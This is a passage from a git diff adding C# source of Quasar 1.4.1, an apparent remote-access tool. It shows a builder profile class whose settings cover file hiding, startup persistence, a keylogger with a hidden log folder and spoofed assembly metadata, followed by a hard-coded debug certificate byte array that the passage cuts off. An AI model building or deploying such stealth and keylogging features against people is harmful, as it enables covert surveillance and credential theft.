WriteValue("InstallSub", value); + } + } + + public bool HideFile + { + get + { + return bool.Parse(ReadValueSafe("HideFile", "False")); + } + set + { + WriteValue("HideFile", value.ToString()); + } + } + + public bool HideSubDirectory + { + get + { + return bool.Parse(ReadValueSafe("HideSubDirectory", "False")); + } + set + { + WriteValue("HideSubDirectory", value.ToString()); + } + } + + public bool AddStartup + { + get + { + return bool.Parse(ReadValueSafe("AddStartup", "False")); + } + set + { + WriteValue("AddStartup", value.ToString()); + } + } + + public string RegistryName + { + get + { + return ReadValueSafe("RegistryName", "Quasar Client Startup"); + } + set + { + WriteValue("RegistryName", value); + } + } + + public bool ChangeIcon + { + get + { + return bool.Parse(ReadValueSafe("ChangeIcon", "False")); + } + set + { + WriteValue("ChangeIcon", value.ToString()); + } + } + + public string IconPath + { + get + { + return ReadValueSafe("IconPath"); + } + set + { + WriteValue("IconPath", value); + } + } + + public bool ChangeAsmInfo + { + get + { + return bool.Parse(ReadValueSafe("ChangeAsmInfo", "False")); + } + set + { + WriteValue("ChangeAsmInfo", value.ToString()); + } + } + + public bool Keylogger + { + get + { + return bool.Parse(ReadValueSafe("Keylogger", "False")); + } + set + { + WriteValue("Keylogger", value.ToString()); + } + } + + public string LogDirectoryName + { + get + { + return ReadValueSafe("LogDirectoryName", "Logs"); + } + set + { + WriteValue("LogDirectoryName", value); + } + } + + public bool HideLogDirectory + { + get + { + return bool.Parse(ReadValueSafe("HideLogDirectory", "False")); + } + set + { + WriteValue("HideLogDirectory", value.ToString()); + } + } + + public string ProductName + { + get + { + return ReadValueSafe("ProductName"); + } + set + { + WriteValue("ProductName", value); + } + } + + public string Description + { + get + { + return ReadValueSafe("Description"); + } + set + { + WriteValue("Description", value); + } + } + + public string CompanyName + { + get + { + return ReadValueSafe("CompanyName"); + } + set + { + WriteValue("CompanyName", value); + } + } + + public string Copyright + { + get + { + return ReadValueSafe("Copyright"); + } + set + { + WriteValue("Copyright", value); + } + } + + public string Trademarks + { + get + { + return ReadValueSafe("Trademarks"); + } + set + { + WriteValue("Trademarks", value); + } + } + + public string OriginalFilename + { + get + { + return ReadValueSafe("OriginalFilename"); + } + set + { + WriteValue("OriginalFilename", value); + } + } + + public string ProductVersion + { + get + { + return ReadValueSafe("ProductVersion"); + } + set + { + WriteValue("ProductVersion", value); + } + } + + public string FileVersion + { + get + { + return ReadValueSafe("FileVersion"); + } + set + { + WriteValue("FileVersion", value); + } + } + + public BuilderProfile(string profileName) + { + if (string.IsNullOrEmpty(profileName)) throw new ArgumentException("Invalid Profile Path"); + _profilePath = Path.Combine(Application.StartupPath, "Profiles\\" + profileName + ".xml"); + } + + private string ReadValue(string pstrValueToRead) + { + try + { + XPathDocument doc = new XPathDocument(_profilePath); + XPathNavigator nav = doc.CreateNavigator(); + XPathExpression expr = nav.Compile(@"/settings/" + pstrValueToRead); + XPathNodeIterator iterator = nav.Select(expr); + while (iterator.MoveNext()) + { + return iterator.Current.Value; + } + + return string.Empty; + } + catch + { + return string.Empty; + } + } + + private string ReadValueSafe(string pstrValueToRead, string defaultValue = "") + { + string value = ReadValue(pstrValueToRead); + return (!string.IsNullOrEmpty(value)) ? value : defaultValue; + } + + private void WriteValue(string pstrValueToRead, string pstrValueToWrite) + { + try + { + XmlDocument doc = new XmlDocument(); + + if (File.Exists(_profilePath)) + { + using (var reader = new XmlTextReader(_profilePath)) + { + doc.Load(reader); + } + } + else + { + var dir = Path.GetDirectoryName(_profilePath); + if (!Directory.Exists(dir)) + { + Directory.CreateDirectory(dir); + } + doc.AppendChild(doc.CreateElement("settings")); + } + + XmlElement root = doc.DocumentElement; + XmlNode oldNode = root.SelectSingleNode(@"/settings/" + pstrValueToRead); + if (oldNode == null) // create if not exist + { + oldNode = doc.SelectSingleNode("settings"); + oldNode.AppendChild(doc.CreateElement(pstrValueToRead)).InnerText = pstrValueToWrite; + doc.Save(_profilePath); + return; + } + oldNode.InnerText = pstrValueToWrite; + doc.Save(_profilePath); + } + catch + { + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Models/DummyCertificate.cs b/Quasar-1.4.1/Quasar.Server/Models/DummyCertificate.cs new file mode 100755 index 0000000..7ee8558 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Models/DummyCertificate.cs @@ -0,0 +1,200 @@ +using System.Security.Cryptography.X509Certificates; + +namespace Quasar.Server.Models +{ + /// + /// Provides a dummy certificate for debugging. Do not use in production. + /// + public sealed class DummyCertificate : X509Certificate2 + { + private static readonly byte[] CertificateBytes = + { + 48, 130, 16, 163, 2, 1, 3, 48, 130, 16, 95, 6, 9, 42, 134, 72, 134, 247, 13, 1, 7, 1, 160, 130, 16, 80, 4, + 130, 16, 76, 48, 130, 16, 72, 48, 130, 10, 177, 6, 9, 42, 134, 72, 134, 247, 13, 1, 7, 1, 160, 130, 10, 162, + 4, 130, 10, 158, 48, 130, 10, 154, 48, 130, 10, 150, 6, 11, 42, 134, 72, 134, 247, 13, 1, 12, 10, 1, 2, 160, + 130, 9, 126, 48, 130, 9, 122, 48, 28, 6, 10, 42, 134, 72, 134, 247, 13, 1, 12, 1, 3, 48, 14, 4, 8, 55, 218, + 160, 56, 14, 249, 193, 233, 2, 2, 7, 208, 4, 130, 9, 88, 200, 194, 253, 138, 219, 236, 70, 232, 138, 10, 70, + 100, 167, 76, 74, 50, 45, 18, 111, 58, 93, 132, 87, 28, 203, 147, 242, 255, 250, 211, 45, 70, 61, 227, 211, + 189, 24, 140, 30, 238, 231, 207, 40, 100, 115, 10, 78, 79, 243, 48, 109, 55, 71, 46, 223, 169, 135, 33, 119, + 67, 58, 16, 65, 45, 3, 94, 57, 129, 84, 18, 83, 77, 105, 100, 87, 180, 125, 168, 229, 247, 113, 150, 224, + 249, 36, 150, 140, 88, 20, 195, 200, 125, 3, 161, 133, 194, 135, 71, 196, 59, 7, 101, 146, 63, 140, 0, 0, + 190, 166, 13, 86, 157, 225, 181, 78, 176, 62, 206, 73, 30, 69, 99, 65, 197, 122, 75, 135, 21, 122, 19, 110, + 25, 0, 19, 130, 90, 74, 32, 117, 253, 141, 107, 149, 94, 122, 121, 251, 129, 17, 152, 23, 148, 19, 81, 178, + 237, 190, 85, 253, 215, 145, 119, 77, 0, 69, 76, 148, 226, 232, 121, 200, 51, 213, 142, 55, 68, 238, 132, + 80, 196, 163, 175, 246, 6, 205, 164, 59, 159, 111, 72, 42, 100, 8, 37, 152, 69, 241, 237, 217, 20, 168, 30, + 168, 54, 131, 47, 127, 229, 13, 24, 33, 109, 37, 254, 105, 168, 48, 81, 20, 166, 150, 43, 242, 139, 104, + 209, 134, 51, 8, 6, 255, 107, 49, 40, 140, 41, 130, 238, 6, 193, 51, 203, 107, 144, 43, 60, 118, 9, 243, 96, + 45, 212, 72, 129, 126, 204, 180, 165, 208, 158, 174, 244, 42, 241, 148, 107, 231, 233, 80, 117, 114, 204, + 37, 80, 246, 180, 99, 138, 254, 132, 96, 235, 171, 136, 82, 198, 55, 115, 203, 195, 180, 150, 155, 182, 73, + 191, 146, 194, 83, 98, 114, 100, 93, 146, 25, 36, 71, 169, 179, 22, 119, 49, 38, 60, 147, 27, 32, 168, 45, + 140, 6, 83, 44, 14, 226, 54, 122, 98, 105, 50, 191, 166, 12, 102, 226, 110, 220, 54, 42, 141, 93, 11, 200, + 172, 94, 19, 75, 164, 69, 17, 145, 108, 138, 54, 226, 47, 226, 2, 6, 209, 217, 27, 136, 7, 189, 189, 20, 60, + 77, 186, 166, 233, 243, 15, 2, 62, 82, 219, 35, 144, 191, 26, 21, 20, 200, 92, 70, 215, 127, 243, 180, 125, + 222, 249, 91, 125, 54, 117, 123, 0, 86, 65, 156, 222, 235, 164, 184, 54, 117, 24, 176, 198, 242, 144, 109, + 212, 0, 195, 16, 219, 74, 28, 101, 99, 107, 102, 202, 58, 247, 59, 220, 218, 57, 245, 103, 90, 85, 252, 205, + 105, 125, 109, 154, 142, 77, 76, 146, 49, 222, 17, 149, 128, 106, 106, 231, 75, 106, 4, 127, 146, 15, 143, + 40, 136, 178, 225, 61, 123, 70, 135, 188, 34, 235, 63, 89, 77, 154, 55, 65, 194, 36, 70, 61, 176, 80, 33, + 69, 224, 131, 147, 75, 240, 179, 195, 45, 226, 152, 9, 142, 95, 30, 108, 203, 1, 179, 113, 138, 86, 3, 155, + 17, 171, 178, 179, 200, 172, 189, 230, 211, 167, 111, 219, 157, 175, 110, 33, 53, 162, 249, 155, 110, 249, + 159, 120, 168, 146, 98, 119, 140, 238, 13, 77, 16, 35, 183, 200, 20, 74, 25, 105, 245, 48, 91, 75, 210, 195, + 168, 76, 172, 157, 202, 203, 108, 34, 162, 141, 136, 183, 111, 195, 40, 142, 151, 95, 157, 57, 211, 5, 127, + 199, 170, 45, 192, 147, 52, 17, 75, 197, 52, 214, 172, 126, 206, 134, 135, 204, 128, 251, 33, 36, 238, 83, + 74, 59, 166, 161, 177, 59, 226, 243, 152, 190, 168, 212, 127, 120, 115, 65, 76, 132, 115, 150, 146, 225, + 210, 208, 114, 121, 11, 107, 230, 225, 140, 250, 169, 215, 83, 231, 124, 35, 207, 76, 20, 69, 31, 184, 210, + 184, 55, 170, 226, 118, 0, 252, 105, 91, 201, 82, 36, 4, 45, 135, 38, 168, 81, 202, 91, 49, 217, 213, 26, + 210, 77, 37, 5, 57, 71, 227, 23, 58, 18, 221, 194, 34, 88, 218, 219, 124, 48, 230, 8, 239, 185, 169, 150, + 190, 246, 112, 92, 208, 93, 160, 248, 197, 64, 196, 20, 20, 11, 239, 147, 195, 179, 47, 136, 153, 24, 143, + 103, 57, 88, 246, 122, 63, 203, 165, 192, 130, 130, 228, 235, 45, 36, 103, 235, 165, 72, 130, 45, 222, 212, + 50, 179, 154, 77, 71, 102, 1, 44, 21, 19, 215, 240, 134, 231, 124, 222, 168, 210, 191, 141, 7, 193, 102, + 148, 81, 46, 6, 111, 14, 14, 48, 29, 21, 54, 166, 217, 32, 106, 240, 69, 137, 171, 58, 217, 110, 79, 172, + 92, 198, 174, 177, 196, 10, 10, 214, 105, 43, 125, 185, 217, 58, 252, 60, 229, 252, 126, 109, 79, 234, 35, + 215, 121, 141, 120, 21, 222, 174, 186, 64, 190, 244, 66, 251, 17, 168, 85, 199, 233, 182, 233, 75, 107, 0, + 176, 71, 27, 167, 216, 84, 78, 115, 128, 177, 20, 104, 248, 219, 68, 95, 250, 30, 126, 25, 223, 195, 17, 76, + 245, 157, 52, 91, 201, 180, 142, 110, 114, 229, 89, 65, 43, 72, 2, 44, 85, 207, 69, 15, 189, 152, 230, 94, + 245, 153, 171, 151, 15, 38, 177, 167, 28, 206, 43, 190, 125, 8, 106, 233, 168, 156, 106, 196, 116, 163, 130, + 10, 247, 189, 5, 181, 50, 254, 76, 158, 252, 132, 192, 117, 97, 158, 141, 33, 184, 27, 118, 101, 224, 128, + 59, 18, 247, 205, 18, 129, 45, 115, 122, 139, 11, 35, 18, 227, 210, 131, 181, 24, 41, 10, 177, 203, 116, + 241, 106, 117, 133, 217, 104, 173, 161, 44, 114, 98, 234, 7, 165, 200, 89, 183, 148, 230, 84, 129, 196, 142, + 146, 208, 121, 38, 64, 124, 23, 23, 181, 182, 54, 122, 142, 127, 204, 56, 30, 92, 113, 123, 182, 97, 186, + 214, 44, 237, 20, 141, 47, 38, 47, 197, 69, 237, 13, 5, 244, 220, 251, 31, 45, 223, 195, 193, 42, 136, 36, + 150, 133, 161, 244, 29, 82, 228, 253, 63, 147, 254, 58, 92, 194, 4, 162, 190, 16, 61, 177, 222, 122, 10, 73, + 106, 196, 243, 153, 240, 22, 223, 123, 107, 193, 59, 23, 45, 129, 14, 12, 184, 85, 22, 233, 165, 212, 188, + 30, 68, 154, 206, 135, 223, 170, 149, 242, 10, 55, 73, 215, 162, 5, 53, 75, 45, 179, 62, 160, 240, 145, 200, + 154, 61, 75, 135, 108, 33, 16, 206, 89, 185, 120, 182, 229, 224, 31, 98, 244, 136, 229, 55, 205, 55, 75, + 237, 41, 122, 64, 160, 189, 1, 15, 245, 126, 248, 74, 130, 135, 237, 66, 207, 142, 192, 217, 123, 74, 140, + 44, 93, 199, 145, 157, 103, 12, 235, 224, 194, 168, 213, 49, 82, 251, 182, 219, 240, 37, 197, 255, 120, 151, + 99, 204, 210, 191, 231, 8, 230, 241, 3, 136, 120, 234, 38, 251, 234, 130, 231, 30, 6, 123, 12, 147, 83, 195, + 107, 233, 97, 131, 124, 237, 7, 119, 16, 61, 243, 36, 24, 53, 8, 140, 85, 158, 232, 206, 234, 21, 163, 245, + 160, 171, 174, 130, 206, 74, 19, 178, 161, 187, 9, 69, 121, 179, 67, 24, 139, 165, 161, 189, 246, 203, 36, + 215, 192, 64, 32, 34, 201, 135, 179, 135, 111, 148, 202, 214, 11, 125, 200, 194, 8, 254, 86, 31, 134, 127, + 118, 217, 108, 94, 58, 158, 238, 164, 51, 65, 142, 247, 19, 244, 154, 56, 17, 159, 173, 138, 182, 220, 118, + 239, 73, 245, 229, 183, 44, 206, 238, 154, 153, 111, 97, 130, 52, 150, 241, 191, 20, 5, 237, 122, 12, 74, + 23, 154, 29, 229, 255, 210, 254, 180, 215, 111, 62, 254, 8, 69, 226, 216, 142, 183, 6, 114, 37, 178, 215, + 191, 166, 72, 34, 86, 77, 154, 110, 211, 90, 14, 233, 200, 43, 232, 193, 206, 26, 38, 76, 111, 187, 90, 118, + 142, 122, 92, 96, 124, 187, 144, 0, 164, 134, 211, 88, 60, 17, 169, 76, 105, 77, 243, 27, 155, 93, 33, 13, + 3, 184, 184, 220, 19, 174, 221, 225, 121, 112, 99, 122, 173, 96, 14, 98, 244, 42, 187, 57, 108, 8, 214, 60, + 77, 113, 249, 110, 152, 96, 52, 186, 176, 201, 142, 21, 204, 41, 163, 3, 192, 99, 140, 189, 152, 13, 65, + 222, 220, 49, 45, 202, 210, 249, 122, 135, 178, 19, 49, 16, 149, 203, 203, 62, 131, 91, 17, 171, 164, 149, + 34, 226, 96, 123, 32, 141, 102, 158, 186, 241, 59, 192, 186, 36, 41, 133, 115, 108, 121, 34, 104, 57, 141, + 167, 160, 58, 95, 171, 215, 122, 153, 129, 166, 10, 190, 60, 51, 70, 157, 141, 11, 104, 255, 111, 160, 173, + 174, 77, 83, 63, 130, 219, 36, 90, 254, 34, 55, 195, 216, 112, 194, 15, 126, 149, 143, 145, 175, 72, 24, + 120, 140, 217, 215, 27, 107, 240, 196, 196, 234, 81, 154, 152, 12, 44, 108, 173, 210, 32, 181, 172, 148, 75, + 71, 89, 136, 224, 28, 229, 121, 76, 64, 60, 200, 60, 200, 88, 193, 217, 252, 162, 181, 215, 99, 86, 47, 181, + 16, 49, 65, 158, 78, 130, 204, 188, 196, 25, 224, 201, 106, 237, 103, 183, 96, 58, 64, 185, 28, 66, 178, + 213, 47, 103, 26, 89, 33, 97, 248, 34, 232, 27, 30, 93, 57, 1, 236, 105, 46, 59, 4, 188, 47, 182, 150, 65, + 195, 107, 203, 52, 149, 240, 16, 130, 254, 189, 98, 56, 221, 177, 163, 66, 62, 123, 0, 252, 169, 178, 166, + 68, 167, 75, 64, 161, 80, 85, 196, 98, 209, 248, 46, 115, 188, 0, 160, 123, 147, 79, 151, 188, 206, 158, + 145, 42, 212, 205, 37, 163, 76, 221, 146, 51, 229, 181, 127, 53, 157, 142, 107, 215, 231, 181, 32, 110, 2, + 13, 55, 122, 56, 226, 158, 126, 124, 193, 193, 172, 222, 9, 211, 83, 166, 69, 95, 145, 169, 31, 211, 139, + 62, 215, 90, 226, 244, 129, 197, 143, 228, 185, 206, 236, 90, 218, 189, 234, 69, 57, 25, 49, 152, 175, 211, + 136, 202, 160, 116, 56, 118, 27, 204, 213, 3, 163, 97, 194, 156, 213, 7, 9, 254, 203, 230, 252, 173, 231, + 197, 135, 224, 3, 206, 157, 166, 193, 184, 153, 57, 253, 229, 87, 234, 118, 50, 163, 151, 53, 82, 206, 36, + 206, 128, 41, 180, 11, 30, 110, 49, 216, 236, 201, 46, 88, 157, 92, 221, 106, 88, 82, 198, 33, 91, 171, 117, + 88, 146, 58, 2, 30, 233, 215, 105, 141, 228, 183, 124, 244, 231, 224, 165, 131, 9, 33, 230, 211, 56, 215, + 221, 38, 141, 158, 48, 250, 119, 102, 226, 206, 32, 70, 140, 53, 210, 12, 206, 88, 220, 35, 2, 195, 157, 7, + 9, 215, 158, 85, 149, 89, 101, 46, 3, 253, 195, 82, 2, 12, 19, 149, 52, 209, 8, 242, 145, 34, 109, 185, 236, + 18, 2, 109, 96, 251, 3, 169, 68, 185, 63, 6, 213, 239, 100, 248, 111, 131, 243, 252, 214, 16, 140, 38, 159, + 138, 17, 141, 98, 96, 137, 140, 243, 11, 120, 69, 229, 212, 71, 2, 254, 98, 171, 207, 69, 72, 70, 186, 83, + 193, 208, 174, 125, 197, 148, 69, 35, 147, 134, 156, 106, 41, 72, 111, 140, 65, 185, 110, 212, 225, 34, 198, + 198, 47, 142, 160, 78, 217, 170, 7, 114, 50, 164, 217, 15, 37, 186, 211, 124, 75, 133, 64, 165, 120, 246, + 22, 226, 204, 186, 137, 154, 130, 142, 238, 147, 188, 206, 129, 19, 177, 117, 166, 180, 211, 16, 221, 29, + 112, 161, 109, 137, 224, 173, 205, 53, 158, 63, 198, 250, 131, 145, 118, 119, 12, 157, 94, 232, 27, 60, 254, + 57, 223, 154, 185, 96, 127, 137, 166, 238, 1, 58, 153, 154, 188, 9, 89, 20, 102, 191, 2, 106, 31, 27, 11, + 221, 206, 26, 145, 142, 192, 196, 28, 230, 213, 149, 52, 63, 48, 137, 25, 254, 27, 205, 207, 20, 5, 12, 37, + 34, 98, 188, 70, 50, 181, 187, 224, 166, 251, 59, 47, 226, 11, 130, 158, 52, 28, 70, 162, 165, 49, 111, 198, + 39, 64, 90, 213, 7, 91, 38, 95, 126, 160, 222, 205, 89, 27, 39, 1, 148, 126, 204, 179, 207, 235, 184, 7, 74, + 37, 64, 189, 167, 234, 196, 149, 160, 24, 111, 152, 246, 17, 184, 83, 189, 158, 106, 78, 221, 108, 87, 128, + 113, 112, 207, 53, 93, 48, 65, 128, 64, 194, 141, 126, 185, 130, 190, 66, 1, 20, 245, 213, 137, 66, 119, 18, + 225, 24, 225, 193, 179, 76, 132, 207, 169, 66, 221, 180, 135, 80, 17, 52, 243, 129, 80, 64, 151, 14, 65, + 233, 83, 72, 49, 251, 59, 67, 92, 87, 110, 34, 77, 14, 168, 126, 236, 155, 238, 213, 60, 233, 173, 83, 150, + 105, 241, 255, 97, 54, 48, 32, 93, 52, 30, 25, 227, 37, 151, 191, 46, 59, 19, 19, 225, 68, 161, 179, 19, + 144, 207, 67, 230, 67, 45, 197, 4, 162, 215, 43, 80, 96, 124, 130, 246, 27, 164, 94, 174, 205, 98, 102, 83, + 173, 247, 21, 11, 250, 32, 119, 29, 77, 42, 190, 97, 134, 48, 219, 57, 50, 52, 55, 184, 242, 109, 136, 100, + 214, 224, 129, 197, 233, 130, 119, 0, 242, 203, 131, 124, 175, 210, 225, 56, 53, 238, 177, 236, 77, 173, 82, + 83, 223, 217, 232, 149, 146, 184, 166, 40, 126, 134, 34, 50, 204, 75, 120, 124, 62, 139, 166, 244, 2, 38, + 172, 55, 41, 38, 206, 160, 17, 30, 163, 160, 110, 81, 182, 56, 1, 225, 252, 100, 24, 24, 231, 188, 239, 106, + 162, 108, 87, 120, 51, 80, 96, 184, 252, 121, 238, 164, 197, 30, 205, 52, 54, 95, 27, 96, 227, 161, 87, 127, + 98, 255, 5, 10, 92, 76, 93, 110, 237, 22, 176, 152, 10, 145, 194, 233, 38, 148, 237, 233, 134, 202, 52, 239, + 169, 47, 243, 189, 103, 232, 142, 146, 215, 49, 130, 1, 3, 48, 19, 6, 9, 42, 134, 72, 134, 247, 13, 1, 9, + 21, 49, 6, 4, 4, 1, 0, 0, 0, 48, 113, 6, 9, 42, 134, 72, 134, 247, 13, 1, 9, 20, 49, 100, 30, 98, 0, 66, 0, + 111, 0, 117, 0, 110, 0, 99, 0, 121, 0, 67, 0, 97, 0, 115, 0, 116, 0, 108, 0, 101, 0, 45, 0, 97, 0, 48, 0, + 48, 0, 101, 0, 98, 0, 48, 0, 102, 0, 54, 0, 45, 0, 98, 0, 50, 0, 99, 0, 54, 0, 45, 0, 52, 0, 51, 0, 57, 0, + 57, 0, 45, 0, 98, 0, 56, 0, 52, 0, 52, 0, 45, 0, 52, 0, 102, 0, 55, 0, 98, 0, 56, 0, 97, 0, 53, 0, 99, 0, + 99, 0, 97, 0, 51, 0, 101, 48, 121, 6, 9, 43, 6, 1, 4, 1, 130, 55, 17, 1, 49, 108, 30, 106, 0, 77, 0, 105, 0, + 99, 0, 114, 0, 111, 0, 115, 0, 111, 0, 102, 0, 116, 0, 32, 0, 69, 0, 110, 0, 104, 0, 97, 0, 110, 0, 99, 0, + 101, 0, 100, 0, 32, 0, 82, 0, 83, 0, 65, 0, 32, 0, 97, 0, 110, 0, 100, 0, 32, 0, 65, 0, 69, 0, 83, 0, 32, 0, + 67, 0, 114, 0, 121, 0, 112, 0, 116, 0, 111, 0, 103, 0, 114, 0, 97, 0, 112, 0, 104, 0, 105, 0, 99, 0, 32, 0, + 80, 0, 114, 0, 111, 0, 118, 0, 105, 0, 100, 0, 101, 0, 114, 48, 130, 5, 143, 6, 9, 42, 134, 72, 134, 247, + 13, 1, 7, 6, 160, 130, 5, 128, 48, 130, 5, 124, 2, 1, 0, 48, 130, 5, 117, 6, 9, 42, 134, 72, 134, 247, 13, + 1, 7, 1, 48, 28, 6, 10, 42, 134, 72, 134, 247, 13, 1, 12, 1, 3, 48, 14, 4, 8, 197, 180, 184, 234, 62, 183, + 126, 192, 2, 2, 7, 208, 128, 130, 5, 72, 82, 253, 63, 238, 110, 242, 96, 184, 169, 64, 162, 143, 164, 116, + 242, 201, 183, 48, 112, 176, 72, 130, 247, 187, 199, 107, 16, 243, 59, 238, 135, 24, 177, 105, 228, 132, 35, + 235, 193, 103, 217, 193, 235, 32, 106, 47, 90, 187, 129, 92, 191, 73, 144, 37, 5, 197, 190, 39, 243, 83, 21, + 161, 49, 59, 4, 20, 196, 238, 174, 98, 66, 242, 28, 1, 64, 47, 11, 244, 179, 45, 233, 11, 14, 243, 228, 32, + 116, 163, 144, 99, 153, 3, 60, 140, 225, 179, 5, 36, 120, 230, 202, 163, 174, 255, 75, 237, 233, 47, 60, + 199, 128, 161, 221, 232, 62, 29, 141, 232, 203, 237, 235, 192, 63, 11, 131, 67, 115, 141, 127, 14, 162, 124, + 17, 103, 207, 77, 158, 149, 108, 91, 67, 135, 123, 167, 133, 118, 22, 129, 57, 232, 95, 163, 123, 170, 191, + 180, 46, 205, 125, 163, 109, 20, 74, 227, 189, 68, 215, 146, 212, 38, 127, 73, 195, 207, 222, 227, 134, 145, + 6, 21, 223, 217, 237, 134, 129, 140, 153, 182, 143, 250, 219, 162, 254, 157, 18, 16, 141, 176, 249, 165, + 118, 85, 98, 35, 139, 214, 165, 27, 23, 63, 182, 201, 104, 202, 124, 81, 213, 194, 8, 108, 81, 126, 142, + 221, 175, 122, 165, 16, 153, 170, 31, 178, 122, 86, 73, 133, 136, 34, 177, 129, 90, 72, 24, 251, 91, 246, + 76, 186, 195, 122, 227, 93, 26, 71, 137, 201, 99, 222, 196, 156, 62, 195, 88, 46, 29, 254, 83, 23, 41, 143, + 103, 111, 79, 206, 5, 207, 10, 168, 23, 18, 197, 245, 24, 70, 154, 226, 196, 70, 147, 119, 217, 198, 196, + 171, 33, 121, 64, 180, 51, 50, 85, 57, 93, 179, 240, 248, 233, 139, 7, 191, 75, 193, 123, 119, 42, 239, 228, + 95, 145, 90, 67, 178, 119, 229, 71, 139, 57, 188, 152, 152, 153, 155, 1, 94, 238, 174, 215, 145, 56, 255, + 190, 101, 2, 136, 71, 228, 28, 7, 0, 166, 10, 122, 152, 40, 39, 125, 97, 206, 39, 41, 119, 61, 87, 14, 234, + 251, 29, 109, 14, 132, 20, 234, 182, 228, 218, 39, 4, 5, 118, 22, 37, 249, 138, 243, 253, 137, 27, 151, 87, + 27, 37, 77, 149, 96, 152, 24, 56, 1, 64, 231, 162, 137, 243, 105, 255, 97, 35, 41, 12, 25, 197, 79, 167, 79, + 187, 73, 229, 148, 253, 203, 46, 186, 201, 126, 225, 0, 218, 151, 176, 14, 243, 43, 178, 128, 153, 47, 182, + 215, 45, 3, 39, 191, 73, 215, 148, 26, 15, 98, 88, 41, 241, 160, 143, 77, 208, 218, 204, 113, 105, 169, 170, + 181, 93, 137, 112, 248, 17, 158, 240, 115, 117, 9, 220, 50, 103, 126, 151, 227, 146, 168, 132, 214, 100, + 167, 30, 113, 117, 163, 174, 177, 1, 88, 191, 53, 218, 213, 48, 39, 62, 179, 88, 37, 212, 69, 173, 199, 226, + 152, 80, 175, 165, 79, 67, 212, 249, 70, 109, 3, 160, 46, 253, 197, 14, 75, 79, 48, 4, 128, 217, 254, 167, + 114, 126, 46, 179, 36, 64, 3, 48, 216, 53, 50, 100, 80, 141, 48, 100, 32, 60, 109, 58, 216, 38, 218, 242, + 28, 117, 187, 163, 193, 168, 78, 6, 27, 200, 73, 103, 204, 80, 85, 174, 61, 143, 227, 84, 226, 127, 196, + 151, 18, 5, 128, 12, 187, 137, 68, 219, 159, 132, 113, 105, 243, 230, 96, 50, 26, 88, 102, 78, 102, 76, 14, + 252, 89, 180, 192, 85, 243, 127, 87, 123, 233, 136, 17, 174, 223, 103, 203, 187, 56, 129, 229, 199, 190, + 120, 25, 18, 61, 140, 197, 3, 66, 10, 65, 217, 235, 165, 62, 112, 119, 101, 106, 184, 203, 169, 184, 115, 2, + 205, 8, 125, 153, 84, 195, 215, 139, 249, 195, 102, 108, 79, 23, 177, 131, 212, 229, 39, 8, 176, 233, 188, + 216, 199, 37, 109, 122, 101, 81, 98, 178, 167, 215, 12, 37, 27, 137, 165, 249, 131, 40, 202, 162, 36, 184, + 88, 76, 185, 246, 167, 125, 116, 198, 109, 135, 98, 124, 223, 188, 186, 216, 155, 224, 237, 140, 52, 203, + 89, 65, 121, 251, 216, 85, 212, 164, 98, 204, 253, 102, 246, 19, 158, 187, 186, 60, 94, 44, 62, 147, 243, + 183, 82, 6, 28, 87, 198, 133, 28, 129, 12, 55, 84, 163, 238, 46, 176, 28, 132, 44, 199, 234, 28, 73, 27, + 190, 108, 85, 146, 53, 248, 134, 30, 227, 172, 250, 77, 225, 101, 105, 167, 99, 214, 192, 31, 3, 96, 52, 51, + 237, 165, 164, 101, 228, 88, 251, 44, 142, 225, 98, 72, 180, 50, 13, 66, 59, 173, 238, 197, 168, 188, 28, + 135, 195, 69, 247, 87, 216, 50, 52, 227, 16, 127, 162, 23, 58, 20, 120, 62, 184, 62, 122, 23, 209, 110, 168, + 26, 1, 182, 1, 130, 111, 224, 191, 93, 202, 68, 76, 243, 38, 225, 80, 219, 232, 145, 191, 84, 27, 69, 41, + 125, 229, 148, 119, 183, 52, 95, 219, 152, 41, 182, 89, 254, 166, 155, 125, 26, 233, 98, 150, 146, 10, 53, + 171, 176, 31, 138, 99, 74, 34, 228, 72, 202, 5, 120, 160, 135, 185, 222, 227, 42, 233, 74, 219, 101, 213, 2, + 112, 46, 108, 45, 49, 158, 185, 241, 83, 240, 167, 0, 140, 160, 194, 171, 2, 150, 96, 145, 214, 109, 31, 83, + 84, 62, 147, 54, 236, 193, 231, 187, 223, 83, 62, 251, 24, 79, 41, 30, 133, 241, 251, 191, 90, 187, 231, + 123, 115, 120, 41, 32, 134, 228, 202, 91, 81, 112, 34, 201, 223, 39, 208, 79, 117, 244, 151, 247, 98, 125, + 193, 220, 152, 195, 226, 1, 135, 24, 13, 227, 1, 24, 226, 101, 167, 131, 219, 173, 198, 31, 113, 248, 174, + 125, 159, 108, 79, 129, 7, 253, 13, 148, 21, 24, 123, 46, 56, 195, 15, 151, 197, 50, 251, 8, 48, 14, 164, + 51, 101, 46, 186, 241, 222, 221, 24, 99, 236, 255, 76, 3, 236, 67, 81, 154, 144, 196, 18, 119, 139, 127, + 241, 1, 89, 102, 172, 142, 87, 134, 56, 81, 120, 191, 242, 168, 237, 47, 143, 117, 146, 179, 137, 123, 243, + 14, 116, 94, 46, 219, 228, 209, 9, 94, 245, 83, 145, 153, 5, 62, 120, 49, 23, 36, 202, 50, 168, 108, 206, + 236, 119, 112, 187, 112, 120, 134, 62, 252, 108, 143, 115, 235, 254, 196, 119, 60, 163, 223, 188, 175, 57, + 77, 236, 99, 99, 197, 127, 196, 39, 58, 39, 24, 10, 212, 227, 37, 248, 219, 112, 161, 176, 82, 199, 97, 179, + 252, 60, 98, 209, 44, 161, 5, 63, 54, 154, 66, 9, 1, 56, 42, 25, 140, 75, 177, 135, 136, 212, 18, 241, 178, + 235, 115, 17, 99, 158, 113, 17, 4, 192, 30, 176, 238, 68, 171, 120, 76, 52, 145, 103, 30, 242, 130, 185, 85, + 19, 50, 180, 88, 213, 4, 62, 190, 238, 172, 203, 145, 233, 45, 53, 228, 144, 16, 180, 96, 89, 231, 141, 146, + 106, 199, 65, 241, 227, 173, 126, 204, 183, 18, 8, 18, 223, 196, 225, 151, 115, 0, 101, 21, 96, 49, 47, 130, + 18, 204, 70, 52, 189, 5, 107, 171, 47, 36, 209, 8, 166, 23, 183, 222, 154, 226, 13, 197, 166, 222, 197, 182, + 50, 155, 180, 156, 105, 244, 205, 226, 29, 128, 90, 126, 38, 9, 166, 195, 86, 22, 107, 253, 160, 163, 95, + 15, 23, 254, 115, 14, 219, 16, 159, 217, 116, 28, 13, 199, 147, 205, 182, 225, 185, 207, 89, 192, 169, 93, + 205, 226, 196, 204, 23, 168, 185, 121, 109, 126, 52, 222, 109, 248, 235, 64, 88, 101, 188, 246, 150, 193, + 90, 29, 131, 